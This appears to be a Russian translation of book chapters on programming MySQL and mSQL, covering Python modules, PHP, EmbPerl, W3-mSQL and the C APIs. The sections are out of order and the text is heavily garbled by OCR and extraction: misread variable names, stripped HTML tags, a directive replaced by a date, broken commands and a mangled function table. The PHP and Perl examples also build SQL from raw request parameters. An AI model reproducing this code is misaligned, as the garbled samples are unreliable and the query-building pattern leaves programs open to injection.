    В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.


    Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

    Метаданные базы данных

    Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

    Пример 11-3. Данные

    [7:56pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL, MySQL;

    >>> msql = mSQL.connect();

    >>> mysql = MySQL.connect();

    >>> print msql.listdbs();

    ['db_test', 'db_web']

    >>> print mysql.listdbs();

    [['dbjest'], ['mysql'], ['test']]

    >>> msql.selectdb('db_test');

    >>> mysql.selectdb('db_test');

    >>> print msql. listtables();

    ['test', 'hosts']

    >>> print mysql.listtables();

    [['test']]

    >>> print msql.serverinfo;

    2.0.1

    >>> print mysql.serverinfo();

    3.21.17a-beta-log

    >>> print mysql.clientinfo();

    MySQL-Python-1.1

    >>> print msql.hostname;

    None

    >>> print mysql.hostinfo();

    Localhost via UNIX socket

    >>> print mysql.stat();

    Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

    >>> print mysql.listprocesses();

    None

    >>>

    В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III "Справочник" за полным описанием этих методов и атрибутов.

    Если вы пишете много программ

    Python

    Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) "Learning Python", изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

    Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org, а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

    Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.



    Основы подключения к базам данных

    API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL.connect( 'athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.do('select test_val from test where test_id = 1');

    >>> print result;

    [['This is a MySQL test.']]

    >>>

    Код для mSQL, делающий то же самое, выглядит почти идентично:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL;

    >>> db = mSQL.connect('athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.query('select test_val from test where test_id = 1');

    >>> print result;

    [('This is a mSQL test.',)]

    >>>

    В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

    Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве "myuid" с паролем "password". Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).


    Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

    Запросы

    Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

    mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.


    В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

    Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

    #!\/usr/local/bin/python

    # Импорт модулей import Msql, MySQL;

    # Инициализация значений database и query

    database = 'db_test';

    query = 'SELECT test_id, test_val FROM test';

    # Соединение с серверами msql = mSQL.connect();

    mysql = MySQL.connect();

    # Выбор тестовых баз данных msql.selectdb(database);

    mysql.selectdb(database);

    # Выполнение запроса

    m_result = msql.query(query);

    my_result = mysql.do(query);

    #Обработка результатов для mSQL

    for row in m_result:

    # Здесь row является кортежем

    print "mSQL- test_id: ",row[0]," test_val: ",row[1];

    # Обработка результатов для MySQL

    for row in my_result:

    ft Здесь row является списком

    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

    # Закрыть соединение (только mSQL)

    msql.close();

    Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

    Обновление

    Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .



    Альтернативные методы создания динамического содержания Web

    Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - "включений на стороне сервера". В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

    Saturday, 03-Jan-2026 06:47:43 MSK

    Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

    Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

    Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:



    Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.


    При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

    Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.



    и другие средства поддержки HTML,

    PHP и другие средства поддержки HTML, управляемого базами данных

    Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

    Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).



    РНР

    По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

    РНР, что означает "PHP: Hypertext Preprocessor" (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

    Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

    С использованием РНР пример с базой данных по акулам может выглядеть так:

    <НТМL>

    <НЕАD>Результат поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <Р>
    /* Начинаем построение запроса. В результате типичный запрос

    * может выглядеть так:

    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

    $query = "select * from sharks where ";

    if ($species || $age || Slocation) {

    $query += " where "; }

    if ($species) { $query += "species = '$species'";
    }
    if ($age) {

    if ($species) { $query += " and "; }

    $query += "age = Sage";

    }

    if ($location) {

    if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

    }

    $result = msql("sharks",Squery);

    if (result == -1) {

    echo("Error : $phperrmsg\n");

    exit(1); }


    Snumresults = msql_numrows($result);

    >




    if (! $numresults ); >

    <Н2> Результатов не найдено


    else {

    while-($i < $numresults) {

    $id[$i] = msql_result($result,$i,"id");

    $species[$i] = msql_result($result,$i,"species");

    $age[$i] = msql_result($result,$i,"age");

    $loc[$i] = msql_result($result,$i,"location");

    echo("
  • ");

    printf("", $id[$i]); echo("<В>Вид: $species[$i]
    ");

    if ($age[$i] == 1) { $age = "Молодые"; }

    else if ($age[$i] == 2) { $age = "Взрослые"; }

    else if {$age[$i] == 3) { $age = "Старые"; }

    echo("Age: $age
    ");

    echo("Paйoн $location[$i]
    ");

    }

    }

    }



    Hoый поиск





    Встроенный Perl

    Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

    Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

    ePerl

    Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

    EmbPerl

    Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные "метакоманды" - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

    В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.



    <НЕАD><ТIТLЕ>Результаты поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <р>

    [-

    use Msql;

    use CGI qw(:standard);

    $dbh = Msql->connect; $dbh->selectdb("sharks");


    %age = ( '0' => 'Молодые',

    '1' => 'Взрослые',

    '2' => 'Старые'

    );

    # Начинаем построение запроса. В результате типичный запрос

    # может выглядеть так:

    # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

    $query = "select * from sharks where ";

    if ( Sspecies or Sage or $location) {

    $query .= " where ";

    $query .= join(" and ", param); }

    Sresult = $dbh->query($query);

    if (result == -1) {

    echo("Error : " . Msql->errmsg . "\n");

    exlt(l);

    }

    Snumresults = $result->numrows;

    -]



    [$if (! Snumresults ) $]

    <Н2>Результатов не найдено [SelseS]

    [Swhile (%shark = $Msql->fetchhash($result)) $]





  • <В>Вид: [+$shark{'species'}+]

    <В>Возраст: [+$age{$shark{'age'}}+]

    <В>Район [+$shark{'location'}+]


    [;endwhile$] [;endif]

    Hoвый поиск



    W3-mSQL

    W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 "Справочник по PHP Lite". Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

    Содержимое HTML-файла внутри тега интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

    Hello world!




    echo("Hello world!");
    >


    Все, что не находится внутри тегов , остается чистым HTML.

    mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

    W3-Auth

    W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

    W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

    Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.


    Установка

    Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

    После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

    #!/bin/sh

    # Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

    for file in 'Is *.c'; do

    sed -e "s/cgi-bin/$1/" $file > $file.tmp

    mv $file.tmp $file

    done

    Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

    ./scriptname yourcgidirectory

    Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

    W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

    Два API

    Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

    В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

    Таблица 13-1. С API для MySQL и mSQL

  • $i







    MySQL


    mSQL


    mysql_affected_rows()


    CM. msqlQuery()


    mysql_close()


    msqlClose()


    mysql_connect()


    msqlConnect()


    myql_create_db()





    mysql_data_seek()


    msqlDataSeek()


    mysql_drop_db()





    mysql_eof()





    mysql_error()





    mysql_fetch_field()


    msqlFetchField()


    mysql fetch lengths()





    mysql_fetch_row()


    msqlFetchRow()


    mysql_field_count()





    mysql_field_seek()


    msqlFieldSeek()


    mysql_free_result()


    msqlFreeResult()


    mysql_get_client_info()





    mysql get host_info()





    mysql_get_proto_info()





    mysql_get_server_info()





    mysql_init()





    mysql_insert_id()





    mysql_list_dbs( )


    msqlListDBs()


    mysql_list_fields()


    msqlListFields()





    msqlListIndex()


    mysql_list_processes()





    mysql_list_tables()


    msqlListTables()


    mysql_num_fields()


    msqlNumFields()


    mysql_num_rows()


    msqlNumRows()


    mysql_query()


    msqlQuery()

    <


    mysql_real_query()







    mysql_reload()







    mysql_select_db()



    msqlSelectDB()



    mysql_shutdown()







    mysql_stat()







    mysql_store_result()



    msqiStoreResult()



    mysql_use_result()





    API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  • Осуществлять соединение.

  • Выбирать БД.

  • Посылать запрос.

  • Получать строку.

  • Получать поле.

  • Закрываться.

    В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

    Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

    #include

    #include

    #include

    int main(char **args) {

    MYSQL_RES 'result;

    MYSQL_ROW row;

    MYSQL 'connection, mysql;

    int state;

    /* соединиться с базой данных mySQL на athens.imaginary.com */

    mysql_init(&mysql);

    connection = mysql_real_connect(&mysql,

    "alMens.imaginary.com",

    0, 0,

    "db_test", 0, 0);

    /* проверить ошибки соединения */

    if( connection == NULL ) {

    /* вывести сообщение об ошибке */

    printf(mysql_error(&mysql));

    return 1;

    }

    state = mysql_query(connection,

    "SELECT test_id, test_val FROM test");

    if( state != 0 ) {

    printf(mysql_error(connection));

    return 1; }

    /* прежде чем делать другие вызовы,

    * необходимо вызвать mysql_store_result()

    */

    result = mysql_store_result(connection);

    printf("Строк: %d\n", mysql_num_rows(result));

    /* обработать каждую строку результирующего набора */

    while( ( row = mysql_fetch_row(result)) != NULL )

    {

    printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }


    /* освободить ресурсы, использовавшиеся результирующим набором */

    mysql_free_result(result); /* закрыть соединение */

    mysql_close(connection);

    printf("Koнец, работы.\n");

    }

    Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

    gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

    select.c\

    -Imysql -Insl -Isocket

    Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

    Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

    Пример 13-2. Простое приложение выборки данных для mSQL

    #include

    #include

    #include

    int main(char **args) {

    int connection, state;

    m_result *result;

    m_row row;

    /* соединиться с базой данных mSOL на athens.imaginary.com */

    state = msqlConnect("athens.imaginary.com");

    /* проверить ошибки соединения */

    if( state == -1 )

    {

    /* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    /* описателем соединения является значение, возвращаемое msqlConnect() */

    connection = state; }

    /* выбрать используемую базу данных */

    state = msqlSelectDB(connection, "db_test");


    /* опять-таки, -1 указывает на ошибку */

    if( state == -1 )

    {

    printf(msqlErrMsg);

    /* закрыть соединение перед выходом */

    msqlClose(connection);

    return 1; }

    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

    if( state == -1 )

    {

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    printf("Строк: %d\n", state);

    }

    /* прежде чем делать новый вызов Query(),

    * необходимо вызвать msqlStoreResult()

    */

    result = msqlStoreResult();

    /* обработать каждую строку результирующего набора */

    while( ( row = msqlFetchRow(result)) != NULL )

    {

    printf("id: %s, значение: %s\n",

    (row[0] ? row[0] : "NULL"),

    (row[1] ? row[1] : "NULL"));

    }

    /* освободить ресурсы, использовавшиеся результирующим набором */

    msqlFreeResult(result); /* закрыть соединение */

    msqlClose(connect ion);

    printf("Конец работы.\n"); }

    Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*

  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

    Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

    Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL


    mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида "соединился, сделал запрос, закрылся". Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

    Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

    API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .



    В этой книге мы рассматриваем

    С и C++

    В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

    Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.



    Объектно-ориентированный доступ к базам данных на C++

    С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

